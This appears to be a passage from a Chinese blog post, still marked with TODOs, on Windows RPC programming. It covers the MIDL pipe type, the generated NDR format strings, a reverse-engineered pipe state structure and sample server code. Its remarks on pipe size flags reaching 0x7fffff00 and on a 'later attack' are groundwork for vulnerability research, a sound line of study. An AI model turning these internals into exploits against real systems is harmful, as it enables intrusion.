class="function"></span>&#123;</span><br><span class="line">    RPC_STATUS status;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf_s</span>(<span class="string">&quot;Calling RpcMgmtStopServerListening\n&quot;</span>);</span><br><span class="line">    status = <span class="built_in">RpcMgmtStopServerListening</span>(<span class="literal">NULL</span>);</span><br><span class="line">    <span class="built_in">printf_s</span>(<span class="string">&quot;RpcMgmtStopServerListening returned: 0x%x\n&quot;</span>, status);</span><br><span class="line">    <span class="keyword">if</span> (status) &#123;</span><br><span class="line">       <span class="built_in">exit</span>(status);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf_s</span>(<span class="string">&quot;Calling RpcServerUnregisterIf\n&quot;</span>);</span><br><span class="line">    status = <span class="built_in">RpcServerUnregisterIf</span>(<span class="literal">NULL</span>, <span class="literal">NULL</span>, FALSE);</span><br><span class="line">    <span class="built_in">printf_s</span>(<span class="string">&quot;RpcServerUnregisterIf returned 0x%x\n&quot;</span>, status);</span><br><span class="line">    <span class="keyword">if</span> (status) &#123;</span><br><span class="line">       <span class="built_in">exit</span>(status);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这边就没什么特别的了，就按照正常的API编写即可。</p><h2 id="关于rpc的注册机制">关于RPC的注册机制</h2><p>[TODO]</p><h3 id="特殊类型：pipe">特殊类型：Pipe</h3><p>RPC接口中，支持很多常见的数据类型，例如<code>int, long，char</code>等等，同时也支持类似结构体的格式。详情可以看<a href="https://docs.microsoft.com/en-us/windows/win32/rpc/strong-typing">官方文档</a>，介绍了所有可以用的类型。<br>这里我们要额外介绍一种特殊的数据类型：<code>Pipe</code>。<code>Pipe</code>这种数据类型能够实现如下的能力</p><blockquote><p>The pipe type constructor is a highly efficient mechanism for passing large amounts of data, or any quantity of data that is not all available in memory at one time. By using a pipe, RPC run time handles the actual data transfer, eliminating the overhead associated with repeated remote procedure calls.</p></blockquote><p>概括来讲就是：Pipe中的数据可以想在管道中流通一下，无数次的从某个特定的API中读入or输出。当发生读入or输出的动作的时候，传输的数据无需马上准备好，程序可以根据需要同步or异步的进行数据的输入。</p><p>这种类型在MIDL中的声明如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> pipe <span class="type">long</span> LONG_PIPE;</span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">InPipe</span><span class="params">( [in] LONG_PIPE pipe_data )</span></span>;</span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">OutPipe</span><span class="params">( [out] LONG_PIPE *pipe_data )</span></span>; </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">InOutPipe</span><span class="params">( [in, out] LONG_PIPE pipe_data)</span></span>;</span><br></pre></td></tr></table></figure><p>首先我们需要使用<code>typedef pipe long</code>将pipe类型指定为一个我们新的变量类型上，表明当前管道中的pipe中，传输的元素<strong>全部都是long类型的变量</strong>。变量前的<code>[in]</code>表示被调用者（Server）将会用这个接口，从调用者（Client）**拖拽（Pull）<strong>数据。而<code>[out]（后跟指针类型为自行需要）</code>，表示被调用者将会用这个接口往调用者处</strong>推送（Push）**数据。如果<code>[in,out]</code>都用，则表示这个接口中的数据可能极有可能发生<code>pull</code>也可能发生<code>push</code>。</p><h4 id="头文件中的新增特征">头文件中的新增特征</h4><p>观察生成头文件：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> hello_MIDL_PROC_FORMAT_STRING hello__MIDL_ProcFormatString =</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        &#123;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Procedure InPipe */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 66 */</span><span class="number">0x32</span>,<span class="comment">/* FC_BIND_PRIMITIVE */</span></span><br><span class="line"><span class="number">0x48</span>,<span class="comment">/* Old Flags:  */</span></span><br><span class="line"><span class="comment">/* 68 */</span><span class="built_in">NdrFcLong</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 72 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x2</span> ),<span class="comment">/* 2 */</span></span><br><span class="line"><span class="comment">/* 74 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x8</span> ),<span class="comment">/* X64 Stack size/offset = 8 */</span></span><br><span class="line"><span class="comment">/* 76 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 78 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 80 */</span><span class="number">0x48</span>,<span class="comment">/* Oi2 Flags:  has pipes, has ext, */</span></span><br><span class="line"><span class="number">0x1</span>,<span class="comment">/* 1 */</span></span><br><span class="line"><span class="comment">/* 82 */</span><span class="number">0xa</span>,<span class="comment">/* 10 */</span></span><br><span class="line"><span class="number">0x1</span>,<span class="comment">/* Ext Flags:  new corr desc, */</span></span><br><span class="line"><span class="comment">/* 84 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 86 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 88 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 90 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Parameter pipe_data */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 92 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0xc</span> ),<span class="comment">/* Flags:  pipe, in, */</span></span><br><span class="line"><span class="comment">/* 94 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* X64 Stack size/offset = 0 */</span></span><br><span class="line"><span class="comment">/* 96 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x8</span> ),<span class="comment">/* Type Offset=8 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Procedure OutPipe */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 98 */</span><span class="number">0x32</span>,<span class="comment">/* FC_BIND_PRIMITIVE */</span></span><br><span class="line"><span class="number">0x48</span>,<span class="comment">/* Old Flags:  */</span></span><br><span class="line"><span class="comment">/* 100 */</span><span class="built_in">NdrFcLong</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 104 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x3</span> ),<span class="comment">/* 3 */</span></span><br><span class="line"><span class="comment">/* 106 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x8</span> ),<span class="comment">/* X64 Stack size/offset = 8 */</span></span><br><span class="line"><span class="comment">/* 108 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 110 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 112 */</span><span class="number">0x48</span>,<span class="comment">/* Oi2 Flags:  has pipes, has ext, */</span></span><br><span class="line"><span class="number">0x1</span>,<span class="comment">/* 1 */</span></span><br><span class="line"><span class="comment">/* 114 */</span><span class="number">0xa</span>,<span class="comment">/* 10 */</span></span><br><span class="line"><span class="number">0x1</span>,<span class="comment">/* Ext Flags:  new corr desc, */</span></span><br><span class="line"><span class="comment">/* 116 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 118 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 120 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 122 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Parameter pipe_data */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 124 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4114</span> ),<span class="comment">/* Flags:  pipe, out, simple ref, srv alloc size=16 */</span></span><br><span class="line"><span class="comment">/* 126 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* X64 Stack size/offset = 0 */</span></span><br><span class="line"><span class="comment">/* 128 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x16</span> ),<span class="comment">/* Type Offset=22 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Procedure InOutPipe */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 130 */</span><span class="number">0x32</span>,<span class="comment">/* FC_BIND_PRIMITIVE */</span></span><br><span class="line"><span class="number">0x48</span>,<span class="comment">/* Old Flags:  */</span></span><br><span class="line"><span class="comment">/* 132 */</span><span class="built_in">NdrFcLong</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 136 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* 4 */</span></span><br><span class="line"><span class="comment">/* 138 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x8</span> ),<span class="comment">/* X64 Stack size/offset = 8 */</span></span><br><span class="line"><span class="comment">/* 140 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 142 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 144 */</span><span class="number">0x48</span>,<span class="comment">/* Oi2 Flags:  has pipes, has ext, */</span></span><br><span class="line"><span class="number">0x1</span>,<span class="comment">/* 1 */</span></span><br><span class="line"><span class="comment">/* 146 */</span><span class="number">0xa</span>,<span class="comment">/* 10 */</span></span><br><span class="line"><span class="number">0x1</span>,<span class="comment">/* Ext Flags:  new corr desc, */</span></span><br><span class="line"><span class="comment">/* 148 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 150 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 152 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 154 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Parameter pipe_data */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 156 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x1c</span> ),<span class="comment">/* Flags:  pipe, in, out, */</span></span><br><span class="line"><span class="comment">/* 158 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* X64 Stack size/offset = 0 */</span></span><br><span class="line"><span class="comment">/* 160 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x20</span> ),<span class="comment">/* Type Offset=32 */</span></span><br><span class="line"></span><br><span class="line"><span class="number">0x0</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> hello_MIDL_TYPE_FORMAT_STRING hello__MIDL_TypeFormatString =</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        &#123;</span><br><span class="line"><span class="built_in">NdrFcShort</span>( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/*  2 */</span></span><br><span class="line"><span class="number">0x11</span>, <span class="number">0x8</span>,<span class="comment">/* FC_RP [simple_pointer] */</span></span><br><span class="line"><span class="comment">/*  4 */</span></span><br><span class="line"><span class="number">0x22</span>,<span class="comment">/* FC_C_CSTRING */</span></span><br><span class="line"><span class="number">0x5c</span>,<span class="comment">/* FC_PAD */</span></span><br><span class="line"><span class="comment">/*  6 */</span><span class="number">0x8</span>,<span class="comment">/* FC_LONG */</span></span><br><span class="line"><span class="number">0x5c</span>,<span class="comment">/* FC_PAD */</span></span><br><span class="line">            <span class="comment">// 从这里开始才是pip的定义</span></span><br><span class="line"><span class="comment">/*  8 */</span><span class="number">0xb5</span>,<span class="comment">/* FC_PIPE 也就是pipe的魔数*/</span></span><br><span class="line"><span class="number">0x3</span>,<span class="comment">/* 3 非常重要的符号位，后面要考*/</span></span><br><span class="line"><span class="comment">/* 10 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0xfffc</span> ),<span class="comment">/* Offset= -4 (6) */</span></span><br><span class="line"><span class="comment">/* 12 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* 4 */</span></span><br><span class="line"><span class="comment">/* 14 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* 4 */</span></span><br><span class="line"><span class="comment">/* 16 */</span></span><br><span class="line"><span class="number">0x11</span>, <span class="number">0x4</span>,<span class="comment">/* FC_RP [alloced_on_stack] */</span></span><br><span class="line"><span class="comment">/* 18 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* Offset= 4 (22) */</span></span><br><span class="line"><span class="comment">/* 20 */</span><span class="number">0x8</span>,<span class="comment">/* FC_LONG */</span></span><br><span class="line"><span class="number">0x5c</span>,<span class="comment">/* FC_PAD */</span></span><br><span class="line"><span class="comment">/* 22 */</span><span class="number">0xb5</span>,<span class="comment">/* FC_PIPE */</span></span><br><span class="line"><span class="number">0x3</span>,<span class="comment">/* 3 */</span></span><br><span class="line"><span class="comment">/* 24 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0xfffc</span> ),<span class="comment">/* Offset= -4 (20) */</span></span><br><span class="line"><span class="comment">/* 26 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* 4 */</span></span><br><span class="line"><span class="comment">/* 28 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* 4 */</span></span><br><span class="line"><span class="comment">/* 30 */</span><span class="number">0x8</span>,<span class="comment">/* FC_LONG */</span></span><br><span class="line"><span class="number">0x5c</span>,<span class="comment">/* FC_PAD */</span></span><br><span class="line"><span class="comment">/* 32 */</span><span class="number">0xb5</span>,<span class="comment">/* FC_PIPE */</span></span><br><span class="line"><span class="number">0x3</span>,<span class="comment">/* 3 */</span></span><br><span class="line"><span class="comment">/* 34 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0xfffc</span> ),<span class="comment">/* Offset= -4 (30) */</span></span><br><span class="line"><span class="comment">/* 36 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* 4 */</span></span><br><span class="line"><span class="comment">/* 38 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* 4 */</span></span><br><span class="line"></span><br><span class="line"><span class="number">0x0</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br></pre></td></tr></table></figure><p><em>删除部分无用变量</em></p><p>可以看到，生成的Server Stub文件中，多出来一些针对Pipe的特殊声明。我们能够使用这里的特征，对所有使用了RPC调用的binary进行搜索，检查其中是否包含<code>pipe</code>类型。其中这里可以稍微关注一下pipe的属性<br>[TODO:考虑删掉，改成逆向结果]</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="number">00000000</span> PipeInit        struc ; (<span class="keyword">sizeof</span>=<span class="number">0x14</span>, align=<span class="number">0x4</span>, mappedto_440)</span><br><span class="line"><span class="number">00000000</span> gap0            db ?</span><br><span class="line"><span class="number">00000001</span> PipeFlag        db ?</span><br><span class="line"><span class="number">00000002</span>                 db ? ; undefined</span><br><span class="line"><span class="number">00000003</span>                 db ? ; undefined</span><br><span class="line"><span class="number">00000004</span> AnotherSize     dw ?</span><br><span class="line"><span class="number">00000006</span> unsigned___int166 dw ?</span><br><span class="line"><span class="number">00000008</span> targetSize      dd ?</span><br><span class="line"><span class="number">0000000</span>C dwordC          dd ?</span><br><span class="line"><span class="number">00000010</span> dword10         dd ?</span><br><span class="line"><span class="number">00000014</span> PipeInit        ends</span><br><span class="line"><span class="number">00000014</span></span><br><span class="line">    </span><br><span class="line"></span><br><span class="line"><span class="comment">/*  8 */</span><span class="number">0xb5</span>,<span class="comment">/* FC_PIPE 对应FC 也就是pipe的魔数*/</span></span><br><span class="line"><span class="number">0x3</span>,<span class="comment">/* 3 对应【pipe符号位】，后面要考*/</span></span><br><span class="line"><span class="comment">/* 10 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0xfffc</span> ),<span class="comment">/* Offset= -4 (6) 对应field_2 */</span></span><br><span class="line"><span class="comment">/* 12 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* 4 对应AnotherSize，根据pipe，其占用空间大小可变*/</span></span><br><span class="line"><span class="comment">/* 14 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* 4 对应targetSize，根据pipe，其占用空间大小可变*/</span></span><br><span class="line"><span class="comment">/* 16 */</span></span><br><span class="line"><span class="number">0x11</span>, <span class="number">0x4</span>,<span class="comment">/* FC_RP [alloced_on_stack] */</span></span><br><span class="line"><span class="comment">/* 18 */</span><span class="built_in">NdrFcShort</span>( <span class="number">0x4</span> ),<span class="comment">/* Offset= 4 (22) */</span></span><br><span class="line"><span class="comment">/* 20 */</span><span class="number">0x8</span>,<span class="comment">/* FC_LONG */</span></span><br><span class="line"><span class="number">0x5c</span>,<span class="comment">/* FC_PAD */</span></span><br></pre></td></tr></table></figure><p>Pipe会在<code>InitPipeStateWithType</code>函数中被初始化。其中<code>flag</code>最高位会表示当前大小<code>AnotherSize和targetSize</code>是<strong>两个字节还是四个字节</strong>。默认情况下的<code>targetSize</code>会在<code>NdrReadPipeElements</code>被抬高为<code>64</code>字节（这也就是<code>GetCoalescedBuffer</code>在后期攻击的时候，为什么不会被重复调用的理由）。但是当设置<code>flag</code>最高位为1的场合，这个值最大可以设置为<code>0x7fffff00</code>。不过此时<code>AnotherSize</code>也需要保持一样的大小。</p><h4 id="server侧代码编写">Server侧代码编写</h4><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PIPE_TRANSFER_SIZE 0x100 <span class="comment">/* Transfer 100 pipe elements at one time */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(lib, <span class="string">&quot;rpcrt4.lib&quot;</span>)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> BUF_SIZE 0x100</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PIPE_SIZE 0x100</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IN_VALUE 0x40</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span>  <span class="type">unsigned</span> <span class="type">long</span> ulong;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">void</span>* <span class="type">rpc_ss_pipe_state_t</span>;</span><br><span class="line"><span class="comment">// extern RPC_IF_HANDLE PIPEDemo_ServerIfHandle;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">InPipe</span><span class="params">(LONG_PIPE  long_pipe)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">long</span> local_pipe_buf[PIPE_TRANSFER_SIZE];</span><br><span class="line">    ulong actual_transfer_count = PIPE_TRANSFER_SIZE;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> (actual_transfer_count &gt; <span class="number">0</span>) <span class="comment">/* Loop to get all</span></span><br><span class="line"><span class="comment">                                        the pipe data elements */</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">int</span> count = PIPE_TRANSFER_SIZE / <span class="number">2</span>;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Each count size is %d\n&quot;</span>, count);</span><br><span class="line">        long_pipe.<span class="built_in">pull</span>(long_pipe.state,</span><br><span class="line">            local_pipe_buf,</span><br><span class="line">            count,</span><br><span class="line">            &amp;actual_transfer_count);</span><br><span class="line">        <span class="comment">/* process the elements */</span></span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Server has receive %d item!\n&quot;</span>,actual_transfer_count);</span><br><span class="line">    &#125; <span class="comment">// end while</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;And the first ten item is :\n&quot;</span>);</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">10</span>; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%d,&quot;</span>, local_pipe_buf[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">&#125; <span class="comment">//end InPipe</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">OutPipe</span><span class="params">(LONG_PIPE* outputPipe)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">long</span>* outputPipeData;</span><br><span class="line">    ulong index = <span class="number">0</span>;</span><br><span class="line">    ulong elementsToSend = PIPE_TRANSFER_SIZE;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Allocate memory for the data to be passed back in the pipe */</span></span><br><span class="line">    <span class="keyword">if</span> (outputPipe == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    outputPipeData = (<span class="type">long</span>*)<span class="built_in">malloc</span>(<span class="built_in">sizeof</span>(<span class="type">long</span>) * PIPE_SIZE);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; PIPE_SIZE; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        outputPipeData[i] = i;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> (elementsToSend &gt; <span class="number">0</span>) <span class="comment">/* Loop to send pipe data elements */</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (index &gt;= PIPE_SIZE)</span><br><span class="line">            elementsToSend = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">if</span> ((index + PIPE_TRANSFER_SIZE) &gt; PIPE_SIZE)</span><br><span class="line">                elementsToSend = PIPE_SIZE - index;</span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">                elementsToSend = PIPE_TRANSFER_SIZE;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        outputPipe-&gt;<span class="built_in">push</span>(outputPipe-&gt;state,</span><br><span class="line">            &amp;(outputPipeData[index]),</span><br><span class="line">            elementsToSend);</span><br><span class="line">        index += elementsToSend;</span><br><span class="line"></span><br><span class="line">    &#125; <span class="comment">//end while</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">free</span>((<span class="type">void</span>*)outputPipeData);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">InOutPipe</span><span class="params">( LONG_PIPE pipe_data)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;First enter InPipe\n&quot;</span>);</span><br><span class="line">    <span class="built_in">InPipe</span>(pipe_data);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Next enter OutPipe\n&quot;</span>);</span><br><span class="line">    <span 